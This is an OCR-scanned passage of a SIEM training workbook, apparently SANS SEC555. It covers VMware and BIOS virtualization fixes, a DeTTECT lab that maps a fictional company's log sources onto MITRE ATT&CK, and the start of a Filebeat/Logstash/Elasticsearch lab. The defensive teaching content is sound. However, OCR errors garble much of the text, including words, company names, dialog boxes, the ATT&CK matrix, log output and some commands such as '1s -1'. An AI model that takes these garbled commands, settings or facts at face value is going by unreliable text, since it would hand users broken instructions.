above. If you disabled Credential Guard, re-enable it with the instructions provided here.
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With the update to macOS 11 (Big Sur), there are a few issues that may prevent you from using your class VM(s) in
VMware Fusion 12. This document addresses these issues.

"Side Channel Miti- ations" Error Message

- R . .

Upon starting your class virtual machine(s), you may encounter a dialog such as below. You can safely click OK in order to
continue running the affected virtual mahchine, however you may see degraded performance as a result.

To overcome any performance issues take the following steps.

1. Shut down the virtual machine. (Not "Suspend".)

2. Click on the virtual Machine menu item. Then click Settings...
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3. Click the Advanced icon.

4. Check the box next to Disable Side Channel Mitigations
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5. Close the Settings dialog and start the virtual machine.

"Virtualized Performance Counters” Error Message

Upon starting your class virtual machine(s), you may encounter a dialog such as the one below. You will not be able to
start the virtual machine.

To correct this, take the following steps.

1. Click on the virtual Machine menu item. Then click Settings....
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2. Click the Processors & Memory lcon.

3. Click the arrow to expand the Advanced options section. Then un-check the box next to Enable code profiling

applications in this virtual machine.
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4. Close the Settings dialog and start the virtual machine.

- “—

‘Nested Virtualization® Error Message

Upon starting your class virtual machine(s), you may encounter a dialog such as the one below. You will not be able to
start the virtual machine.

To correct this, take the following steps.

WA G!

While taking these steps will allow you to boot the virtual machine, you may not be able to complete any labs that rely on nested
virtualization features. Contact your instructor or OnDemand support to determine if this affects your class.

1. Click on the virtual Machine menu item. Then click Settings....
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2. Click the Processors & Memory lcon.

3. Click the arrow to expand the Advanced options section. Then un-check the box next ot Enable hypervisor

applications in this virtual machine.
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4. Close the Settings dialog and start the virtual machine.
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On Intel and AMD systems, there is a BIOS extension that must be enabled or you will not be able to boot your class VM(s)
in VMware.

Upon starting your class virtual machine(s), you may encounter a dialog similar to the one below. Starting the virtual
machine without 64-bit support will result in a non-functional VM.

Virte HMa £57

msg.cpuid.nelengmodeQuestionFmt:This virtual machine is configured for 64-bit guest
operating zystems. However, 6941 coperationisnotpo =,

Thiz host is WT-capable, but ¥T is disabled.

¥T might be disabled if it has been disabled in the BIOS settings or the host has not been
po - er-cyded since changing this setting.

{1 verify that the BIOS settings enable VT and disable "trusted execution.’

{&P  -oyde the host if either of thege BIOS settings have been changed.

{31 Po r-cyde the host if you have not dene z6 since installing YWMware £5%,

{43 Update the host's BIOS to the latest vers.

Fo more detalled information see httpnffen-  e.comfinfofid=152,

Continue without ¢ it support?

i Yes

i g

To correct this, take the following steps.
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Enabling VTx for Class

1. Enter your system's BIOS configuration menus. This requires pressing a designated key immediately upon booting/
rebooting your system, but the exact key depends on the system and BIOS manufacturers. Most systems use one of

the following five keys:
*F1
*F2
* DEL
+ESC
«F10
+ Older computers may require multiple keys to be pressed simultaneously, or keys other than those listed above:
« CTRL+ALT+ESC
* CTRL+ALT+INS
« CTRL+ALT+ENTER
* CTRL+ALT+S
* PGUP
+ PGDN

2. Identify the BIOS menu that controls the VTx settings. This is also dependent on the specific version of BIOS that your
system uses. The screenshots below represent the Award BIOS, but you may need to explore the various BIOS menus
on your system to find the proper menu and setting. Different BIOS versions also have varying keyboard controls -
some use the space bar to change settings, others use the PGUP and PGDN keys, etc.
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Saving the settings may require pressing F10 or other keys or menu sequences.

3. Exit the BIOS settings and reboot the system. Ideally, keep the power off for approximately one minute before
powering it on to clear any residual configuration settings. The reboot is critical, as the BIOS settings are essentially a
configuration file that is only read at boot time.
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Verifyine That VTx Settings are Correct
There are several ways to verify that the VTx settings above have been set correctly.

1. Boot your class VM(s) to ensure the VTx error at the beginning of this document is not displayed.

2. For Intel processors, you may download the Intel Processor Identification Utility. Run the utility and click the cpu
Technologies tab to confirm if VTx is enabled or not.

roc [ Y Y .

JE  TMR udsC " Hz
1 B - T $oo
E e
3. For AMD processors, you may download the AMD Virtualization Technology and Microsoft Hyper-V System
Compatibility Check Utility. Run the utility to confirm if VTx is enabled or not.
MV TE e ~f Hro o - .-

Test Results from  crosoft® Hy r-V™ compatibility che for systems _A processors

. pir sys em s cor ., ttible ~ith Hyper-v™ .
o Choos 1+ AMD64 system combines AMD Virtualization™ (  D-v™) FTechnology, high performance, and power efficien. .

Clase

4. For both Intel and AMD processors, you may download Microsoft's Hardware-Assisted Virtualization Detection Tool.
Run the utility to confirm if VTx is enabled or not.

1

| Thi cc wputr 0 snoth v h riw ; st
virtu lization

Nindows Virtual PCrequires a com uter -ith a processorthat has
har. ‘are-gssisted virualzation

Learn more abaut findows Virual PC requirements
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555.1

Lab 1.0 DeTTect, Visualize Visibility and Detectio Capabilities

Lab 1.1 Introduction to SIEM Architecture

Lab 1.2 - Log ni4estion from Files and Network Connections

Lab 1.3- Log 1= srichment and F rsing

Lab 1.4 Tactical Al ing

955.2

Lab 2.0 - Enrichment, Adding Context

Lab 2.1 Catching the Adversary with DNS

Lab 2.2 Investigating HTTF

Lab 2.3-HTTPS Analysis

555.3

Lab 3.1 Window -~ L-g Filt *ring

Lab 3.2 - Catching Evil wit; Windows ogs

Lab 3.3 - Logon Moni oring

Lab 3.4 - Docker Monitoring
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Lab43 "= T~wDetection

ab .4- Cloud Moritoring

555.5

* Cgma, THTRE an ' “nivors 1 Alerts
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Lab ".2 Virtual iripwires

Lab..3 -acon Detection
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Objectives

» Visualize Data Source Coverage
* Review the Functionality of DeTTECT
« Add Data Sources to DeTTECT

+ Identify Visibility Gaps

— _— - - -

Exercise Preparation

Log into the Sec-555 VM

* Username: student

« Password: sec555
We will be looking at a company called L Inc.. Our objective is 1o review their current data sources and determine if
they have the appropriate visibility and detection capabilities for their organization. L b e Inc. is like most organizations
and has the following data sources currently being ingested into their Security Incident and Events Management(SIEM)
system.

+ ‘indows Logs

«Er oin £ -uriylogs

* Linux Log

+ twork Device Logs
To accomplish this review we will be utilizing a tool called DeTTECT which will allow us to map out the data sources that

L b Me Inc. is collecting and determine what visibility they have. Let us start by reviewing the functionality that DeTTECT
provides.

Review the Functionality of DeTTECT

Per https://github.com/rabobank-cdc/DeTTECT self description as of 2020:

DeTTECT aims to assist blue teams using ATT&CK to score and compare data log source quality, visibility coverage,
detection coverage, and threat actor behaviors. All of which can help, in different ways, to get more resilient detection
techniques against attacks targeting your organization. The DeTTECT framework consists of a Python tool, YAR

¢ ninistration files, the DeTTECT Ed tor, and scoring t bles for the different aspects.
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DeTTECT provides the following functionality:

+ Administrate and score the quality of your data sources.

* Get insight on the visibility you have on for example endpoints.
* Map your detection coverage.

+ Map threat actor behaviors.

* Compare visibility, detections, and threat actor behaviors to uncover possible improvements in detection and visibility.
This can help you to prioritize your blue teaming efforts.

Add Data Sources to DeTTECT

Now that we know a little more about DeTTECT let us launch it and begin to map out the data sources from L b Me Inc..

To begin clickonthei min lic n at the top of the Student VM.

L

Copy and P ste the following command in the terminal window and Press En

docker run -it --name dettect --rm -p 3081:8080 -v /labs:/labs:ro -v /home/student/Downloads: /opt/
DeTTECT/output -v /home/student/Downloads: /opt/DeTTECT/input hasecuritysolutions/dettect:1.4.2 /bin/
bash

‘ Note
§ This command will run the DeTTECT image inside a docker container, and will map the /labs folder to /labs, /home/student/

Downloads to /opt/DeTTECT/input, and /home/student/Downloads to /opt/DeTTECT/output inside the container, respectively. It
will also map TCP port 8081 on your VM to port 8080 on the container.

Copy and Paste the following command in the terminal window and Press Enter
python dettect.py editor &
The output of this command should be similar to below.

root@48978942f143: /opt/DeTTECT# Editor started at port 8680
You can open the Editor on: http://localhost:8080/dettect-editor
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Info

Remember, even though the output states http:/localhost:8080/dettect-editor the Docker container is mapping 8081 to 80 0.
Therefore, you cannot access DeTTECT unless you use hitp:/localhost:8081/dettect-editor.

Click on the link below to open D TTECTE .or.
DeTTECT Editor

This will take you to the web interface for DeTTECT that we locally are running on your VM. You should see the following
screen. We will begin by clickihgon D Sourc.

Next, click ew fil
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Info

In the following steps, you will be qualitatively measuring organizational visibility. How you will achieve this is using DeTTECT to
add data sources and providing scores for how well the data source is handled. For this lab, we are providing you with the scores
with some reasoning behind what the scores mean.

Windows

Then click Add data source

We will start by adding the first data source in the list of data sources for Lab Me Inc..
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The steps below reflect the numbers in the image above.

1. Type indows event logs into the Data source field. Click the Add button to the right.

Windows event logs

2. Clickon D tere istered and pick today's date.

3. Click on Date connected and pick today's date. In normal circumstances, you would select the date you began
collecting this data source's logs.

4. Click Avaii  :ford ta alytics. This option defaults to No but you can changeitto Yes as Lab Inc. is actively
monitoring the logs.

5.ClickD sourcees led. This option defaults to No butyou can changeitto ves asl b Inc. is actively
collecting the logs.

6. Type Windows in the Products field and then click Add - This field provides a way to categorize the data sources you
are collecting as certain data sources may have more than one eniry depending on the data they provide.

Windows

7 The comments field is for internal notes or additional information you would like to include during this exercise. We
will not add any notes for this exercise.

Scroll down to the final section of settings that we can configure for this data source.
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Please note that every organization will vary in the answers to these questions and your answers will vary between each data
source.

1. Device Completeness - Are all Windows devices sending their logs to the SIEM?
*€..s ’ngto 3. This assumes that not all Windows devices are sending logs but that many are.
2. Data Field Completeness - Are all Windows log fields being parsed?

*I s . - to3-Asingle Windows box has over 1000 fields. A value of 3 assumes that mainstream fields are
being parsed.

3. Timeliness - How quickly are the logs received and ingested into the SIEM?

‘St ‘ng to 4 - A value of 4 assumes that logs are quickly being received by the SIEM. Exceptions might be
laptops off the network and VPN.

4. Consistency - Are logs ingested on a regular basis or are their large delays or outages?
*€ .se 'ngto2-Avalue of 2 assumes that logs reach the SIEM with a delay.
5. Retention - How long are the logs retained?

* Set setting to 3 - A setting of 3 implies average retention span such as 90 days.

4 Note
Please keep in mind that the goal in many cases is a score of 3 or 4. A score of 5 often requires additional controls for continuous
monitoring and validation. Some of these controls may be warranted and others may not. For example, a score of 5 for Timeliness
may require ingesting logs with receive time and event time with automated alerts to notify if there is a gap between the two. The

alert would need to check for considerable delays or even event times that appear from the future. Events from the future would
pinpoint time errors on individual assets, and delays would identify a lag in receiving logs.

Now that we are finished with configuring the settings for Windows let us proceed to map the next data source.

Endpoint Security

Click Addd source
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Let us proceed to add the Endpoint Security logs.
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1. Type Anti-viru into the Data source field. Click the # ' button to the right.
Anti-virus

2. Clickon F r i r andpicktoday's date.

3. Click on Date connected and pick today's date. In normal circumstances, you would select the date you began
collecting this data source's logs.

4. Click Avail ble for data anal :cs This option defaults to No but you can changeitto ves asl Me Inc. is actively
monitoring the logs.

5. Click D ta source en bled This option defaults to No butyou can changeitto Yes ask. T  ne. is actively
collecting the logs.

6. TypeEn o™ -urity in the Products field and then click Add - This field provides a way to categorize the data
sources you are collecting as certain data sources may have more than one entry depending on the data they provide.

Endpoint Security

7. The comments field is for internal notes or additional information you would like to include during this exercise. We
will not add any notes for this exercise.

Scroll down to the final section of settings that we can configure for this data source.
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Please note that every organization will vary in the answers to these questions and your answers will vary between each data
source.

1. Device Completeness - Are all devices sending their endpoint security logs to the SIEM?

*S .s tting to 4 - A score of 4 assumes that most endpoint systems have antivirus deployed and the logs are
being received

2. Data Field Completeness - Are all antivirus log fields being parsed?
* Set setting to 1 - A score of 1 assumes logs are collected but not being parsed
3. Timeliness - How quickly are the logs received and ingested into the SIEM?
*Set ttin to 3 - A score of 3 means logs are received but sometimes delayed
4. Consistency - Are logs ingested on a regular basis or are their large delays or outages?
- Set setting to 3 - A score of 3 means logs are usually consistent
5. Retention - How long are the logs retained?
* Set setting to 1 - A score of 1 means the logs are not kept long. This may be 30 days or maybe even a week or

less

Now that we are finished with configuring the settings for Endpoint Security let us proceed to map the next data source.
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Linux

Click A 1 source

Let us proceed to add the Linux logs.

1. Type Autt itication [o: into the Data source field. Clickthe A button to the right.

Authentication logs

2.ClickonD 1 ist .dand picktoday's date.

3.Clickon D :connected and pick today's date. In normal circumstances, you would select the date you began
collecting this data source's logs.
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4 Click Avai' ble for d :a analytics This option defaults to No but you can changeitto ves asLab e lnc.is actively
monitoring the logs.

5. Click Data source en bled This option defaults to no but you can change itto ves asl ™' _ Inc.is actively
collecting the logs.

6. Type Linux in the Products field and then click Add - This field provides a way to categorize the data sources you are
collecting as certain data sources may have more than one entry depending on the data they provide.

Linux

7. The comments field is for internal notes or additional information you would like to include during this exercise. We
will not add any notes for this exercise.

Note

The Linux data source will require multiple steps to tag the type of logs being collected. In this first part of the Linux step you are
selecting Authentication logs. In the next part you will also be selecting Web logs.

Scroll down to the final section of settings that we can configure for this data source.

© 2022 SANS Institute 131



! #" Note

Please note that every organization will vary in the answers to these questions and your answers will vary between each data
source.

1. Device Completeness - Are all Linux devices sending their logs to the SIEM?
* Set setting to 3 - A value of 3 here means that some but not all of the Linux systems are sending logs to the SIEM
2. Data Field Completeness - Are all Linux log fields being parsed?

*St: "igt 2-Avalue of 2 means many fields are not parsed. Parsing Linux logs can be challenging as each
operating system or application can have custom fields and values.

3. Timeliness - How quickly are the logs received and ingested into the SIEM?

+ Set setting to 2 - A value of 2 here may be because L nc. uses Linux at remote locations which may be
causing delays

4. Consistency - Are logs ingested on a regular basis or are their large delays or outages?

*S.. ‘ng to 3 - A value of 3 means that logs are mostly consistent but sometimes delayed
5. Retention - How long are the logs retained?

* S .setting to 3 - value of 3 means that logs follow standard retention such as 90 days

With the Linux logs,L M Inc. is collecting more than just Autt itic tion Logs from these systems. To account for this
we will need to add in the additional logs they are collecting from this data source.

Click 2 ase'r
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1. Type b logs into the Data source field. Click the Add button to the right.
Web logs

2. Clickon Dater :tered and pick today's date.

3. Click on Date connected and pick today's date. In normal circumstances, you would select the date you began
collecting this data source's logs.

4. Click Avai’ :leford _a nalytics This option defaults to No but you can changeitto ves asL Me Inc. is actively
monitoring the logs.

5. Click T ta source en bled This option defaults to No but you can changeitto ves aslLab e Inc. is actively
collecting the logs.

6. Type Linux in the Products field and then click Add - This field provides a way to categorize the data sources you are
collecting as certain data sources may have more than one entry depending on the data they provide.

Linux

7. The comments field is for internal notes or additional information you would like to include during this exercise. We
will not add any notes for this exercise.

Scroll down to the final section of settings that we can configure for this data source.
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Please note that every organization will vary in the answers to these questions and your answers will vary between each data
source.

1. Device Completeness - Are all web servers sending their logs to the SIEM?

+ S tsetting to 3 - A value of 3 here means that some but not all of the web applications are sending logs to the
SIEM

2. Data Field Completeness - Are all web server fields being parsed?
+ Set setting to 4 - A value of 4 means most of the web server fields are being parsed
3. Timeliness - How quickly are the logs received and ingested into the SIEM?

St ingto2-Avalueof 2 here may be becausel P Inc. uses Linux at remote locations which may be
causing delays

4. Consistency - Are logs ingested on a regular basis or are their large delays or outages?
+ Set setting to 3 - A value of 3 means that logs are mostly consistent but sometimes delayed
5. Retention - How long are the logs retained?

+ S tsetting to 3 - value of 3 means that logs follow standard retention such as 90 days

Now that we are finished with configuring the settings for Linux let us proceed to map the next data source.
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Network Devices

Click Add data source

Let's proceed to add the Network Device logs.

1. Type . etwork d vice logs into the Data source field. Click the Add button to the right.

Network device logs

2. Click on Date registered and pick today's date.

3. Clickon [ te com: :ted and pick today's date. In normal circumstances, you would select the date you began
collecting this data source's logs.
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4 Click A for data analytics This option defaults to No but you can changeitto ves as Lab Me Inc. is actively
monitoring the logs.

5.Click D ~ source . i This option defaults to No but you can changeitto ves asL bl Inc.is actively
collecting the logs.

6. Type etwork Devices in the Product field and then click Add - This field provides a way to categorize the data
sources you are collecting as certain data sources may have more than one entry depending on the data they provide.

Network Dev-ices

7. The comments field is for internal notes or additional information you would like to include during this exercise. We
will not add any notes for this exercise.

Scroll down to the final section of settings that we can configure for this data source.
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i Please note that every organization will vary in the answers to these questions and your answers will vary between each data
source.

1. Device Completeness - Are all network devices sending their logs to the SIEM?
*S..e .ingto 2 - A score of 2 means that many network devices are not configured to ship logs to the SIEM
2. Data Field Completeness - Are all network log fields being parsed?
+ Set setting to 2 - A score of 2 means many fields are not being parsed
3. Timeliness - How quickly are the logs received and ingested into the SIEM?
+ S tsetting to 3 - A score of 3 means that logs are being received routinely and on time
4. Consistency - Are logs ingested on a regular basis or are their large delays or outages?

+& t: tingto1- A score of 1 means that logs are often missing or delayed. This can be due to potentially
unreliable network links

5. Retention - How long are the logs retained?

+ Set setting to 3 - A score of 3 means that standard retention is in place such as 90 days

We now have added all of the data sources for Lab Me Inc. and now it is time to save the file and let DeTTECT do its
magic.

Click Save YA! L file
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When you receive the save prompt, click on Save File and then O .

Convert YAML file to .JSON

With the YAML file now saved it is time to utilize DeTTECT to convert the YAML file to .JSON.

Gobacktoyourt rm’: | "ndc¢ and press Ent . You should see a command prompt similar to below.

root@489789421143: /opt/DeTTECT#

Copy and Paste the following commandintothe ™ 'n | & wand press Enter. This command converts the data
source list you configured to a JSON file for use with IT E_ ig tor.

python /opt/DeTTECT/dettect.py ds -fd /opt/DeTTECT/input/data-sources-new.yaml -1 --local-stix-path /
labs/cti-ATT~CK-v8.2

Ignore the warning about the YAML file having possible errors. The cause is because the YAML file does not include
certain data sources.

/" Not

Remember, the docker container for DeTTECT maps /opt/DeTTECT/input to /home/student/Downloads.

arning

By default, DeTTECT will save the file to your Downloads folder on the Student VM. If you move this file or if you fail to save it, the
above command will not work. Please verify that the file does exist prior to running the command.

Once the script runs successfully there should now be a file in /home/student/Downlc ds called

d _ ource _ »j on. To confirm, open a new terminal.
o E-= Selec "1 1. o Ter
= g P i

In the new terminal you can confirm the file exists by running the command below.
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1s -1 /home/student/Downloads/data_sources_example.json
The output shoutd be similar to below if the file exists. The size and date will be different.
-rw-r——r—— 1 root root 429 8 Jul 14 12:05 /home/student/Downloads/data_sources_example.json

At this point you may close out of all open terminals.

Visualize Data Sources to the MITRE Framework

Now that we have utilized DeTTECT to create the data_sources_example.json file we are ready to map these data sources
against the MITRE Framework to determine what visibility Lab  : Inc. actually has. We will be utilizing the MITRE ATT&CK
Navigator to visualize the d .a_source_example.json file.

To begin click the link below to open MITRE ATT&CK Navigator.
MITRE ATT&CK Navigator

Next, under Open Existing Layer click on Upload from local.

n & tab

Cr .te New Layer

Open Existing Layer

Upload from local

Then navigate to /home/student/Downloads/data_sources_example.json file.
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You may receive a warning message aboutthe lay r*  ion. Just click ¢
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WARNING' Uploaded layer version (3.0} does not match Navigator's layer version (4.1). The layer configuration may not be fully restored.

o
The file will still load successfully.
Data ources example
. . . i e . G L
Initi LAc. ss5 E ¢ in it ¢ Esc | tion Defense B ion ccess
§ techniques 10 techniques 18 technigues 12 technigues 34 techniques 15 technigues
Driva-by Command and Abuse Elevation Abuse Elevation Brut Forc -
Compromiss Scripting Conkrol Control Mechanism
Interpreter om ‘Meachanism . edenhial
Explolt Public- ¢ BITS Johs ' AccEssTo B kuffisg
Facing Applic. " m Applescript A s=Taf mpulatics, .
Boot or Logon Manipulation ;3 ' FPaszword
JavaScript/Jscript Autostart Create Process with . acking
) Execution Create Process with Token
PowerShel Token Pas ‘word
Hardware Additions Boot or Logon Make and Impersonate  SHBSEIRG
Bython nitialization Make and i Token
Phis iag Scripts, | impersonate Token : e -
Unix Shell ’ F ot PiDSpooii Soraying
Spearphishing Browser Extensions a. nEtPiD Spoo mg )
Attachment Visual Basic ) Credentials
Compromise Client from Pas. rd
spearphishing Windows Command  Software Binary Token ) Stores .,
;E.iﬁk - iTﬁi{eﬁ ) Impersonation/Theft h
o ) £raate ‘impersonation/Theft Expl. itation for
Spearphishingvla Exploitation forClient  Account - BITS obs redential Access
fvice Execution : Boot or Logon
, Cloud Account Autostart Deobfuscate/Decode Files Forced
| Replication = "lerProcess Execution . or Information L

The result will be MITRE Navigator showing a map of the visibility L b" e Inc.'s data sources provide against the MITRE
framework. This is very beneficial as we can clearly see techniques thatl ~ Me Inc. is vulnerable to. The next step would
be to evaluate Lab Me Inc. and determine what are the most common attack vectors used against them as they are a
Health Organization. This would narrow down which techniques we would recommend they gain additional visibility and
detection capabilities.

Just like Lab Me Inc., many organizations have similar visibility and often feel stuck due to limited resources and staff.
Over the course of this class, we will be walking through many data sources and detection techniques that will allow you
to level up your visibility and detection. To give you a sneak peek at what this will look like we have created a second
JSON file that includes these additional data sources which will be covered in the class. Let us compare this against the
file we generated forL bM Inc..

Click on the + sign next to the layer tab.
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tand opend ta_sources_lev | d_up.json file.
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You may receive a warning message about the lay  version. Just click O

.= NING: U, ~ aded layer version (2.2} does not match Navigator's layer version (4.1}, The layer configuration may not be fully restored.

The file will still load successfully.
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Compare the two tabs now. You can easily see that by strategically adding in key data sources and detection capabilities
Lab Me Inc. would be able to level up their overall security. Now would be a great time to begin to map out your
organization's visibility and detection capabilities. How do you stack up against Lab Me Inc.?

Step-bv-Step Video Instructions

L ab Conclusion

In this lab, you reviewed the functionality of the DeTTECT tool and used it to map out data source visibility and detection
capabilities. From that exercise, you were able to visualize the data source against the MITRE Framework to evaluate L b
Me Inc.'s current capability to see and detect evil within their environment.

DeTTECT! bis now compl te!
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Objectives

* Be comfortable with using the Elastic Stack

+ Establish a high-level understanding of SIEM architecture
+ Learn how to collect logs manually

* Interact with the various components of a SIEM

+ Use an alert engine to create an alert

Exercise Preparation

Log into the Sec-555 VM

+ Username: student

» Password: sec555

The overall objective of this lab is to learn the various components of a SIEM by using them:. installation of each
component has already been performed, and all configuration files have been pre-built.

Log * " (log aggregator) configuration files are in /I s/1.1/fil 3/

Fi 2 .has been preconfigured for this lab and can be run using the command below. This is informational is for
students who want to know how to run filebeat for the no hints version. If you re doing the st -by-s: .w lkthrot
ignore this command until you re asked to run it in the wal .hror .

filebeat -c /labs/1.1/filebeat.yml

This lab deals with reading logs from /var/log/ on your student virtual machine. Thus, the number of logs represented, and
the timestamps will not match the pictures in the step-by-step instructions.
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Exercises

r—— _ - LB

Before starting the lab, you must start Rabbiti 1, a message broker used for temporary buffering of logs. Start the
R~ :(log broker) service using the command below.

docker start rabbitmq

N

4 ote

These services are not started by default to save system resources. In a production environment, this would be configured to start
I automatically.

1 - Send Logs to Aggregator

Send logs from /v r/log/*.log to Log . (log aggregator) using Fi beat (log agent). Output logs to the screen

R

Solution

I If you have not already done so, you must start RabbitMQ, a message broker used for temporary buffering of logs. Start the
RabbitMQ (log broker) service using the command below.

docker start rabbitmq
ote

. These services are not started by default to save system resources. In a production environment, this would be configured to
start automatically.

e e el TR

In this section, the config files will pick up logs using Filebeat and send them to Logstash, which will only display them to the
screen. This demonstrates a log agent sending logs to a central location.

.

To send logs from a log agent to a log aggregator, the log aggregator must first be running. The Elastic Stack uses Logstash as a
log aggregator, but for this class, Logstash is not set up as a service. Manually run Logstash and have it use the configuration file
- called debug.conf. Do this by running the command below.

logstash —-f /labs/1.1/files/debug.conf

Wait until you see "Pipelines running." The output will reflect as below. Moving forward only the last line of "Pipelines running" will
be shown.

Sending Logstash's logs to /usr/share/logstash/logs which is now configured via log4j2.properties
[2018-05-20T19:49:48,765] [INFO ][logstash.modules.scaffold] Initializing module

. {:module_name->"netflow", rdirectory=>"/usr/share/logstash/modules/netflow/configuration"}
[2618-05-20T19:49:48,785] INFO ][logstash.modules.scaffold] Initializing module
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{:module_name=>"fb_apache™, :directory=>"/usr/share/logstash/modules/fb_apache/configuration"}

[2018-85-20T19:49:48,950] [INFO ][logstash.setting.writabledirectory] Creating directory

{:setting=>"path.queue", :path=>"/usr/share/logstash/data/queue"}

[2018-05-20T19:49:48,955] [INFO }[logstash.setting.writabledirectory] Creating directory

{:setting=>"path.dead_letter_queue", :path=>"/usr/share/logstash/data/dead_letter_queue"}

[2018-65-20T19:49:49,410] [WARN ][logstash.config.source.multilocal] Ignoring the 'pipelines.yml' file because
' modules or command line options are specified

[2018-05-20T19:49:49,458] [INFO ][logstash.agent 1 No persistent UUID file found. Generating new UUID
{:uuid=>"defed98f-dOb1-4416-a0c8-ba498d66165e", :path=>"/usr/share/logstash/data/uuid"}
[2018-05-20T19:49:50,079] [INFO ]J[logstash.runner 1 Starting Logstash {"logstash.version"=>"6.2.2"}
[2618-05-20719:49:50,469] [INFO ]J[logstash.agent 1 Successfully started Logstash API endpoint

= {:port=>9660}
[2618-65-20719:50:00,136] [INFO ][logstash.pipeline 1 Starting pipeline {:pipeline_id=>"main",

"pipeline.workers"=>4, "pipeline.batch.size"=>125, "pipeline.batch,delay"=>50}
[2018-85-20T19:50:00,528] [INFO ]1[logstash. ilters.geoip ] Using geoip database {:path=>"/usr/share/logstash/
vendor/bundle/jruby/2.3.0/gems/logstash-filter-geoip-5.6.3-java/vendor/GeoLite2-City.mmdb"}
[26018-05-280T19:58:00,552]1[INFO ][logstash.filters.geoip ] Using geoip database {:path=>"/usr/share/logstash/
vendor/bundle/jruby/2.3.08/gems/logstash-filter-geoip—5.0.3-java/vendor/Geolite2-ASN.mmdb" }
[2018-05-20T19:50:00,916] [INFO J[logstash.inputs.beats ] Beats dinputs: Starting -input listener
{:address=>"0.0.0.0:5044"}
[2618-05-28T19:50:00,983] [INFO ][logstash.pipeline ] Pipeline started succesfully
{:pipeline_id=>"main", :thread=>"#<Thread:0x7fefa656 run>"}
[mwﬁ&mUMMWLMﬂHWOngbgm%b%mﬁawﬂSmthgwmﬂonwﬁ:%M

i [2618-05-20T19:50:01,125T[INFO ][logstash.agent 1 Pipelines running {:count=>1, :pipelines=>["main"1}

= This means that Logstash is running. Next, open a new terminal that will be used to demonstrate a log agent. To do this, left click on
the purple terminal icon at the top of the screen.

This terminal will be referred to as the Agent Terminal. The next steps are to be performed on the Agent Terminal. This is used to
visually distinguish between Logstash, a log aggregator on the black terminal, and Filebeat, a log agent on the purple terminal.
| Typically, Filebeat would be running on a remote machine. In the Agent Terminal, run Filebeat using the command below.

filebeat —c¢ /labs/1l.1/filebeat.yml

Switch back to the black terminal, and you should see that Logstash has accepted the logs sent from Filebeat. The output should
look like the image below but WILL NOT be the same. The logs and timestamps will be specific to your system.
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e

"syslog_severity" = otice”,
”'tags“ => [
[6] "beats_input_codec_plain_applied”,
[ 1 "_grokparsefailure",
[2] "_geoip_lookup_failure"
1,
"host" => "filebeat",
"message' => "2018-04-26 18:25:33 trigproc mime-support:all 3.60ubuntul <none>",
"source" => "/var/log/dpkg.log",
"syslog_facility_code" => 1,
"@vers-ionll => lll",
"heat" => {
"name" => "{ilebeat",
"hostname" => "filebeat",
"version" => "6.,2.4"

1
"offset" => 1019662,
"etimestamp" => 2018-05-26T26:1.:26.8957,
"prospector" => {
thpeu => ||‘Logu
+s

"syslog_severity_code" => 5,
"syslog_facility" => "user level”

_ ote

. Outputting logs to the screen can be helpful for debugging. That is what this step is demonstrating.

Within the black terminal, hit CTRL + C to stop Logstash. You will receive a "Pipeline has terminated” message such as below.
Moving forward only the last line of "Pipeline has terminated"” will be referenced.

[2018-65-20T20:17:28,2611[WARN 1[logstash.runner 1 Re “ived shutdown signal, but pipeline is still
waiting for in-flight events

to be processed. ending another AC (11 force quit Logstash, but this may cause data loss.

2018-05-2 r2@: 7:28, 44 [WARN J[logs sh.shutdownwatcher 1 {"inflight_count"=>0,

stalling_thr od_info"=>{"other"=>[{"th: ad_id"=>36, "name"->"[main]<beats™, "curvent_call"=>""_ . ]/vendor/
bundie/jruby/2.32.8/ ms/logstash-input-beats-5.0.6-java/lib/logstash/inpu s/beats.r :199:in “run'"}7],
["LogStash::Filters::GeoIP", {"default_database_type"=>"ASN", "source"=>"source_ip",
"id"=>"f3af272bc6887631c1973860819932a4c0de@9lb7e1llf582669cba98f476e86"}]=>f{"thread_id":>31, "name"=>nil,
"current_call"=>"{...]/logstash-core/lib/logstash/util/wrapped_synchronous_queue.rb:90:in 'read_batch'"},
{"thread_1id"=>32, "name"=>nil, "current_call"=>"[...]/logstash-core/lib/logstash/util/
wrapped_synchronous_queue.rb:90:in “read_batch'"}, {"thread_id"=>33, "name"=>nil, "current_call"=>"[...1/
logstash-core/1lib/logs ash/util/ rapped_synchronous_queue.rb:98:in ‘read_batch'"}, {"thread_id"=>34,
"name"=>nil, "current_call"=>"[...]/logstash-core/lib/logstash/util/wrapped_synchronous_queue.rb:90:1in
‘read_batch'"}]1}}

[2018-05-20T26:17:32,078] [INFO 1[logstash.pipeline ] Pipeline has terminated

{:pipeline_id=>"main", :thread=>"#<Thread:0xic5a3cch run>"}

Switch back to the Agent Terminal and hit CTRL + C to stop Filebeat. Filebeat will not display anything when stopped. Instead, it will

simply terminate.
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Filebeat at the same time.

ra o
Do not continue unless you have stopped Filebeat by pressing CTRL + C. The student VM will not let you run two instances of
i
i '

2 - Aggregator to Storage

Send logs from /var/log/*.log to Lo stash using Fil b . and outputlogsto El iics rch (storage) in an index called
lab1.1-z  2g :or_only
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Solution

In this section, the config files will pick up logs using Filebeat and send them to Logstash, which will then forward the logs to
Elasticsearch for storage. This demonstrates a log agent sending logs to a central location which in turn parses and stores the logs.

Switch back to the black terminal and run Logstash with the ag ‘egator_only.conf configuration file. Do this by running the
command below. This is a single line command.

logstash —f /labs/1.1/files/aggregator_only.conf
Wait until you see "Pipelines running.” Switch back to the Agent Terminal and run Filebeat using the command below.
filebeat -c /labs/1.1/filebeat.yml

This time, the black terminal will not show logs. This is because they are being sent directly to Elasticsearch, the back-end storage

§ system. If logs are properly received, then an index called lab1.1-a gregator_only should be created and contain all the logs
Filebeat sent. There are muitiple ways to see if logs were accepted and the index was created. One method is to use a web-based
management tool. Most SIEMs provide a GUI method for this. For Elasticsearch, you can use M vel, scripts, or community plugins
such as Cerebro. This lab uses Cerebro. First, open Firefox.

g

[n Firefox, switch to Cerebro by clicking on it in the Bookmarks Toolbar. Cerebro is a GUI management interface for monitoring and
changing Elasticsearch.

Rl

I r

The page displayed is a web front end to manage Elasticsearch settings and indexes. The names reflected in the columns are index
names. These are placeholders for similar logs and are covered in more detail throughout the course.

L]

= T ——
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l 7 ote
Indexes are special files that split logs across shards. If this terminology makes your head hurt, then think of an index as a
traditional database. Under the hood, a shard operates differently than a traditional database but conceptually is similar. At the
time this screenshot was taken, the elastalert_st ius index had 0 logs. You can tell this by looking at the number of docs found

immediately under the index name. This index is a special index that stores alerts. Your student VM may have some alerts pre-
generated in the elastalert_status.

When searching for indices in Cerebro, you might have to click on the arrows to see the lab1.1-  regator_only index or type 1.1 in
